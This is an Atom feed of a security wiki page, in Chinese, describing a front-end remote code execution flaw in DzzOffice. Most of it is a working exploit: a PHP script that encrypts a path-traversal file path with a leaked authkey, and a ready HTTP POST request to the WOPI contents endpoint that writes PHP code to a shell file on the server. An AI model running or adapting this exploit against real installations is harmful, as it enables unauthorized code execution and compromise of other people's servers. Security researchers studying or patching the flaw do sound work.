<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Dzzoffice_%E5%89%8D%E5%8F%B0RCE%E6%BC%8F%E6%B4%9E</id>
	<title>Dzzoffice 前台RCE漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Dzzoffice_%E5%89%8D%E5%8F%B0RCE%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Dzzoffice_%E5%89%8D%E5%8F%B0RCE%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-21T05:21:54Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Dzzoffice_%E5%89%8D%E5%8F%B0RCE%E6%BC%8F%E6%B4%9E&amp;diff=1657&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==利用前提== 首先需要獲取到authkey 這個可以通過爆破或者其他的方式獲取到具體的這個請看文章  我現在的環境的key為：3090dfHwzmw9lsC3...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Dzzoffice_%E5%89%8D%E5%8F%B0RCE%E6%BC%8F%E6%B4%9E&amp;diff=1657&amp;oldid=prev"/>
		<updated>2021-04-14T08:15:40Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==利用前提== 首先需要獲取到authkey 這個可以通過爆破或者其他的方式獲取到具體的這個請看文章  我現在的環境的key為：3090dfHwzmw9lsC3...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==利用前提==&lt;br /&gt;
首先需要獲取到authkey 這個可以通過爆破或者其他的方式獲取到具體的這個請看文章&lt;br /&gt;
&lt;br /&gt;
我現在的環境的key為：3090dfHwzmw9lsC3&lt;br /&gt;
&lt;br /&gt;
==加密腳本==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?php &lt;br /&gt;
function authcode_config($string,$key, $operation = 'DECODE', $expiry = 0)&lt;br /&gt;
{&lt;br /&gt;
$ckey_length = 4;&lt;br /&gt;
$key = md5($key);&lt;br /&gt;
$keya = md5(substr($key, 0, 16));&lt;br /&gt;
$keyb = md5(substr($key, 16, 16));&lt;br /&gt;
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';&lt;br /&gt;
&lt;br /&gt;
$cryptkey = $keya.md5($keya.$keyc);&lt;br /&gt;
$key_length = strlen($cryptkey);&lt;br /&gt;
&lt;br /&gt;
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;&lt;br /&gt;
$string_length = strlen($string);&lt;br /&gt;
&lt;br /&gt;
$result = '';&lt;br /&gt;
$box = range(0, 255);&lt;br /&gt;
&lt;br /&gt;
$rndkey = array();&lt;br /&gt;
for($i = 0; $i &amp;lt;= 255; $i++) {&lt;br /&gt;
$rndkey[$i] = ord($cryptkey[$i % $key_length]);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
for($j = $i = 0; $i &amp;lt; 256; $i++) {&lt;br /&gt;
$j = ($j + $box[$i] + $rndkey[$i]) % 256;&lt;br /&gt;
$tmp = $box[$i];&lt;br /&gt;
$box[$i] = $box[$j];&lt;br /&gt;
$box[$j] = $tmp;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
for($a = $j = $i = 0; $i &amp;lt; $string_length; $i++) {&lt;br /&gt;
$a = ($a + 1) % 256;&lt;br /&gt;
$j = ($j + $box[$a]) % 256;&lt;br /&gt;
$tmp = $box[$a];&lt;br /&gt;
$box[$a] = $box[$j];&lt;br /&gt;
$box[$j] = $tmp;&lt;br /&gt;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
if($operation == 'DECODE') {&lt;br /&gt;
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() &amp;gt; 0) &amp;amp;&amp;amp; substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {&lt;br /&gt;
return substr($result, 26);&lt;br /&gt;
} else {&lt;br /&gt;
return '';&lt;br /&gt;
}&lt;br /&gt;
} else {&lt;br /&gt;
return $keyc.str_replace('=', '', base64_encode($result));&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
echo base64_encode(authcode_config(&amp;quot;disk::..././..././..././shell.php&amp;quot;,md5('3090dfHwzmw9lsC3'),'ENCODE'));&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Payload==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST /core/api/wopi/index.php?access_token=1&amp;amp;action=contents&amp;amp;path=ZmM0OWp3bDgxbDE3WlhocFlCVUl4ZDFvRkNYeDRVaGtQbklJYlVSUjV2VjRzLzBwUkJ0Y051ZHl4QzVITFlvN205cENqZktDY1lyNHRQQ0pWblU= HTTP/1.1&lt;br /&gt;
Host: word.com&lt;br /&gt;
Content-Length: 18&lt;br /&gt;
Accept: application/json, text/javascript, */*; q=0.01&lt;br /&gt;
X-Requested-With: XMLHttpRequest&lt;br /&gt;
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36&lt;br /&gt;
Content-Type: application/x-www-form-urlencoded; charset=UTF-8&lt;br /&gt;
Origin: http://word.com&lt;br /&gt;
Referer: http://word.com/user.php?mod=login&lt;br /&gt;
Accept-Encoding: gzip, deflate&lt;br /&gt;
Accept-Language: zh-CN,zh;q=0.9&lt;br /&gt;
Connection: close&lt;br /&gt;
&lt;br /&gt;
&amp;lt;?php phpinfo();?&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>